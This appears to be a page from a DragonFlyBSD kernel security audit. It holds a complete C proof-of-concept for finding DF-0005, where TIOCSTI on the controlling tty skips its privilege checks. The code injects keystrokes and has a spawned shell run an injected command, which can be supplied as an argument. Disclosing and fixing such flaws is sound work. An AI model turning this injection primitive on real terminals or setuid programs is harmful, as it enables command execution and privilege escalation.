DragonFlyBSD Kernel Audit
DF-0005 / tiocsti.c
← back to finding ↓ download raw
/*
 * DF-0005 PoC - TIOCSTI unrestricted terminal input injection (no killswitch).
 *
 * Self-contained demonstration of the TIOCSTI primitive on DragonFlyBSD.
 * No external interactive terminal is needed: the PoC allocates its own pty
 * pair, has an unprivileged child claim the slave as its controlling tty, and
 * then exercises TIOCSTI on /dev/tty -- exactly the path described in the
 * finding (sys/kern/tty.c:1158-1173).
 *
 * In ttioctl() the two caps_priv_check_td(SYSCAP_RESTRICTEDROOT) guards are
 * each gated on a condition a legitimate tty owner does NOT meet:
 *
 *     tty.c:1159   if ((flag & FREAD) == 0 &&            <- FALSE: fd is O_RDWR
 *     tty.c:1160       caps_priv_check_td(td, SYSCAP_RESTRICTEDROOT))
 *                     return EPERM;
 *     tty.c:1165   if (!isctty(p, tp) &&                 <- FALSE: tp IS ctty
 *     tty.c:1166       caps_priv_check_td(td, SYSCAP_RESTRICTEDROOT))
 *                     return EACCES;
 *     tty.c:1172   (*linesw[tp->t_line].l_rint)(*(u_char *)data, tp);  <- SINK
 *
 * For an O_RDWR open of the controlling tty both `(flag & FREAD) == 0` and
 * `!isctty(p, tp)` evaluate FALSE, so neither privilege check fires and the
 * attacker byte reaches l_rint -- pushed into the tty input queue exactly as
 * if it had been typed on the keyboard. There is no sysctl/capability to
 * disable this anywhere in the tree (no kern.tty_tiocsti / legacy_tiocsti).
 *
 * This PoC proves three things end-to-end:
 *   (1) TIOCSTI returns success for an unprivileged uid (no EPERM/EACCES) --
 *       confirming both privilege guards are bypassed for a ctty owner.
 *   (2) The injected byte actually reaches the l_rint sink and lands in the
 *       tty input queue -- proven by reading it straight back from /dev/tty.
 *   (3) The injected line is consumed and EXECUTED by a *different* downstream
 *       reader of the tty (a shell we exec on the slave) -- the confused-deputy
 *       execution primitive that makes TIOCSTI dangerous (e.g. injecting into
 *       a setuid program that reads a command/password from the tty).
 *
 * Build (DragonFlyBSD):  cc -o tiocsti tiocsti.c
 * Run as ANY user (no controlling terminal required):
 *                          ./tiocsti
 *                      or  ./tiocsti "echo custom_payload"
 */

#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>

#ifndef TIOCSTI
#define TIOCSTI _IOW('t', 114, char) /* sys/sys/ttycom.h */
#endif

static int
inject_str(int fd, const char *s)
{
	int i;
	for (i = 0; s[i] != '\0'; i++) {
		char c = s[i];
		if (ioctl(fd, TIOCSTI, &c) < 0)
			return -1;
	}
	return 0;
}

static volatile sig_atomic_t timed_out;

static void
alarm_handler(int sig)
{
	(void)sig;
	timed_out = 1;
}

int
main(int argc, char **argv)
{
	const char *downstream_cmd = (argc > 1) ? argv[1] :
	    "echo TIOCSTI_EXEC_BY_DOWNSTREAM_SHELL";
	int master, slave, tfd, status;
	pid_t pid;
	char *slave_name;
	char buf[512];
	ssize_t n;

	master = open("/dev/ptmx", O_RDWR | O_NOCTTY);
	if (master < 0) { perror("open /dev/ptmx"); return 2; }
	if (grantpt(master) < 0)  { perror("grantpt");  return 2; }
	if (unlockpt(master) < 0) { perror("unlockpt"); return 2; }
	slave_name = ptsname(master);
	if (slave_name == NULL)   { perror("ptsname");  return 2; }

	slave = open(slave_name, O_RDWR | O_NOCTTY);
	if (slave < 0) { perror("open slave"); return 2; }

	fprintf(stderr, "[*] uid=%d euid=%d  pty slave=%s\n",
	    getuid(), geteuid(), slave_name);

	pid = fork();
	if (pid < 0) { perror("fork"); return 2; }

	if (pid == 0) {
		/*
		 * CHILD -- runs as the unprivileged caller. Become a session
		 * leader and claim the pty slave as our controlling terminal,
		 * then open /dev/tty (which resolves to the ctty). This is the
		 * exact position the finding describes: an unprivileged user
		 * with their controlling tty open for read.
		 */
		if (setsid() < 0) { perror("setsid"); _exit(2); }
		if (ioctl(slave, TIOCSCTTY, 0) < 0) {
			perror("TIOCSCTTY"); _exit(2);
		}
		tfd = open("/dev/tty", O_RDWR);
		if (tfd < 0) { perror("child open /dev/tty"); _exit(2); }

		/*
		 * (1) THE PRIMITIVE: inject a line via TIOCSTI. If the kernel
		 * enforced privilege here (or had a killswitch), this would
		 * return EPERM. It does not.
		 */
		if (inject_str(tfd, "echo TIOCSTI_READBACK_OK\n") < 0) {
			fprintf(stderr,
			    "[!] TIOCSTI DENIED: %s -- primitive is gated\n",
			    strerror(errno));
			_exit(1);
		}
		fprintf(stderr,
		    "[+] TIOCSTI ioctl succeeded (no EPERM/EACCES) -- "
		    "guards at tty.c:1160,1167 bypassed for ctty owner\n");

		/*
		 * (2) Prove the byte reached the l_rint sink and is consumable:
		 * read the injected line straight back out of /dev/tty.
		 */
		n = read(tfd, buf, sizeof(buf) - 1);
		if (n > 0) {
			buf[n] = '\0';
			fprintf(stderr, "[+] readback from /dev/tty (%zd bytes): "
			    "%s", n, buf);
		} else {
			fprintf(stderr, "[!] readback failed: %s\n",
			    strerror(errno));
		}

		/*
		 * (3) Confused-deputy execution: inject a command that a
		 * *different* downstream reader of this tty will run, then
		 * hand the tty to a shell. The shell reads the injected line
		 * out of the tty input queue and executes it -- proof that
		 * TIOCSTI crosses a trust boundary to whoever reads the tty
		 * next (setuid utility, privileged daemon, sandboxed child).
		 */
		if (inject_str(tfd, downstream_cmd) < 0 ||
		    inject_str(tfd, "\nexit\n") < 0) {
			fprintf(stderr, "[!] downstream inject failed: %s\n",
			    strerror(errno));
			_exit(1);
		}
		close(tfd);
		dup2(slave, 0);
		dup2(slave, 1);
		dup2(slave, 2);
		if (slave > 2) close(slave);
		close(master);
		execl("/bin/sh", "sh", (char *)NULL);
		perror("exec /bin/sh");
		_exit(127);
	}

	/*
	 * PARENT -- drain the slave's output from the pty master so we can
	 * see the injected command's execution. A safety alarm keeps us from
	 * hanging if the shell never exits.
	 */
	close(slave);
	signal(SIGALRM, alarm_handler);
	alarm(8);

	while (!timed_out && (n = read(master, buf, sizeof(buf) - 1)) > 0) {
		fwrite(buf, 1, n, stdout);
		fflush(stdout);
	}
	waitpid(pid, &status, 0);
	if (timed_out)
		kill(pid, SIGKILL);
	close(master);

	fprintf(stderr, "[*] downstream sh exit status: %d\n",
	    WIFEXITED(status) ? WEXITSTATUS(status) : -1);
	return WIFEXITED(status) ? WEXITSTATUS(status) : 1;
}